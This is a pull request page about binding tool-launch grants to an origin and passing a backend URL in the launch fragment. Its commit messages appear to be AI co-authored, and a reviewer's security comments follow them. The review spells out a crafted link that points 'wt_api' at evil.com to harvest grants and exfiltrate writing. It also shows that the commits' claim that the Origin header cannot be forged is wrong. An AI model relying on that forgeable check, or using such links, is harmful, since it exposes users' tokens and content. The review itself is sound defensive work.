Include backend API URL in tool launches - #579
Conversation
Two additions to the handoff client, both inert until the backend and the tools read them (deliberately sequenced first so no intermediate commit breaks a launch): - `tool_url` on the grant request. The backend will reduce it to an origin and bind the grant to it, so a grant can only be redeemed by the tool that was actually launched. - `wt_api` in the launch fragment, naming our own API base. A tool is then talking to the backend that granted it rather than one baked in at build time — which is the honest arrangement anyway, since a grant is only ever redeemable at its issuer, and it frees one hosted bundle to serve prod, staging and a developer's localhost. `platformApiBase` resolves `SERVER_URL` (relative `/api` everywhere but the Google Docs sidebar) against the window origin, since a relative base is useless to a tool in another tab. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
A grant now records the origin the taskpane opened (`tool_grant.tool_origin`, appended migration v4, derived from the required `tool_url`), and the exchange refuses any caller whose `Origin` doesn't match. A grant that leaks, or is relayed into a page the user didn't launch, can't be redeemed there. Why not a server-side `client_id -> origin` registry: it has to answer "what origin is mindmap?", which has no single answer — `resolveMindmapToolUrl` already returns localhost in dev and the deployed host otherwise — so a registry would duplicate the frontend's URL resolution and drift from it. Recording what was actually launched is lighter and more accurate, and the security delta is nil (both block grant relay; neither blocks an attacker minting a grant for their own account and naming the genuine origin). This is an application check, deliberately not CORS, which stays permissive because the surface is bearer-only with no cookies to steal cross-site. Notes on the edges: - `Origin` is always present here. The grant can only arrive via a URL fragment, so every caller is a browser page, and a JSON POST is preflighted. A missing `Origin` is refused rather than waved through. - A refused exchange does not consume the grant, so the real tool can still redeem it. - Nullable column only because SQLite can't add a NOT NULL column without a default; a NULL is refused at exchange. No backfill needed — grants live ~2 minutes, so any pre-existing row is already unexchangeable. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The mindmap and the test-tool now read `wt_api` from the launch fragment and talk to that backend, instead of a `VITE_BACKEND_URL` fixed at build time. `wt_api` is attacker-supplyable — anyone can craft a link to the tool's page — which is survivable but not free: a hostile base can't mint a real token, but it can serve a fake document and collect whatever the writer does next. Note the baseline, though: an attacker can already host their own copy of a client-side bundle pointed at their own backend, so what injection buys them is the genuine tool's origin. Two things contain that, and they are the tool's job rather than the platform's: - `PlatformSession` records its issuing backend (storage v2) and every later call uses it, so a session obtained from one platform can never be replayed against another, and a hostile launch can't reuse a genuine session. This is what a naive tool gets wrong by keeping one global storage key. - `normalizePlatformApiBase` refuses anything but https, except loopback for dev, so the base can't be downgraded in transit. The launch base is captured before the fragment is scrubbed (the scrub runs first, so reading it later would always have found nothing) and held in a ref, because Retry runs long after that point. `hashWithoutGrant` becomes `hashWithoutLaunchParams` since it now strips both parameters. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Adds a "The grant names a tool at an origin" section to the launcher plan recording the design discussion behind the previous three commits: why the grant carries the origin rather than a registry holding it, why the granting backend is the one the tool talks to, and what that costs. Records what is still open rather than implying the flow is now sound. Grant injection — an attacker minting a grant for their own account, naming the genuine tool origin, and dropping it in a victim's tab — is unaffected by any of this, and is visible today only because the doc snapshot will be the wrong document. Its real fix is a connected-identity display, which belongs with the Phase 3 consent screen. Also notes two future collisions with the Origin check (opaque-origin sandboxes send `Origin: null`; a tool redirecting post-launch presents the wrong origin), and that the paste-a-URL path could now mint a grant bound to the typed origin, which it does not yet do. `backend/CLAUDE.md` states there is deliberately no registry of tool origins, so it doesn't get added back as an apparent oversight. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
nhyiramante1
left a comment
There was a problem hiding this comment.
Two security issues codex found:
Individually: #1 (platform-session.ts) lets a crafted link on the legitimate
domain redirect the app's entire data plane to an attacker backend; #2
(toolGrants.ts) makes the grant-redemption Origin binding forgeable by any
non-browser client.
Chained, from one clicked link on mindmap.thoughtful-ai.com and no auth:
crafted wt_api → grant POSTed to evil.com → evil.com redeems it at the real
backend with a forged Origin → real wtk_ token, plus all post-launch
writing/doc/translation traffic exfiltrated. That doesn't follow this PR's own stated
relay/leak protection and the product's authorship-privacy invariant.
| export const PLATFORM_BACKEND_URL = resolveBackendUrl(); | ||
|
|
||
| /** | ||
| * Normalize a platform API base offered by a launch, or null if it isn't usable. |
There was a problem hiding this comment.
[P1 / blocking] wt_api is attacker-controllable with no issuer authentication.
The comment above (L34–42) accepts this risk on the premise that "a hostile base
can't mint a real token." That premise doesn't hold — see the toolGrants.ts
comment: the grant this app POSTs to wt_api can be redeemed at the real
backend by forging Origin. So a crafted link
…/#wt_grant=X&wt_api=https://evil.com/api yields: (a) all post-launch content
streamed to evil.com, and (b) evil.com harvesting the grant and minting a real
wtk_ token. Recording backendUrl in the session and refusing plaintext pin
the app to the attacker; they don't authenticate the platform.
Fix: gate wt_api behind a compiled trusted-issuer allowlist (prod/staging/
loopback origins only); reject anything else and fall back to the build-time
VITE_BACKEND_URL. Signed launch metadata is the heavier alternative. Should not
ship as-is.
| The cost is that `wt_api` is attacker-supplyable — anyone can craft a link to the | ||
| tool's page. That is survivable but not free. A hostile base can't mint a real | ||
| token, but it can serve a fake document and collect whatever the writer does next. | ||
| Note the baseline: an attacker can already host their own copy of a |
There was a problem hiding this comment.
[P1 / blocking] Origin is not proof of browser origin; this binding is
forgeable.
The comment states "Every caller of this route is a browser… so it is
preflighted and Origin is always present." That's the false step: Origin is
enforced by browsers for browser-issued fetches. A server-side client (the
attacker's backend that received a relayed grant) sets Origin: https://mindmap.thoughtful-ai.com freely, so requestOrigin === row.tool_origin
passes. CORS/preflight constrain browser JS, not curl. This check does block a
malicious web page's JS from relaying cross-origin, so keep it as
defense-in-depth — but it cannot be the holder binding the PR claims.
Fix: unforgeable per-launch proof (PKCE-style). Launcher generates a
code_verifier, registers code_challenge at grant creation; require the
code_verifier here at exchange. A relayed grant is then useless without the
verifier, which only the launched instance holds — no reliance on Origin.
Also locks down launch grants to the origin they were launched from.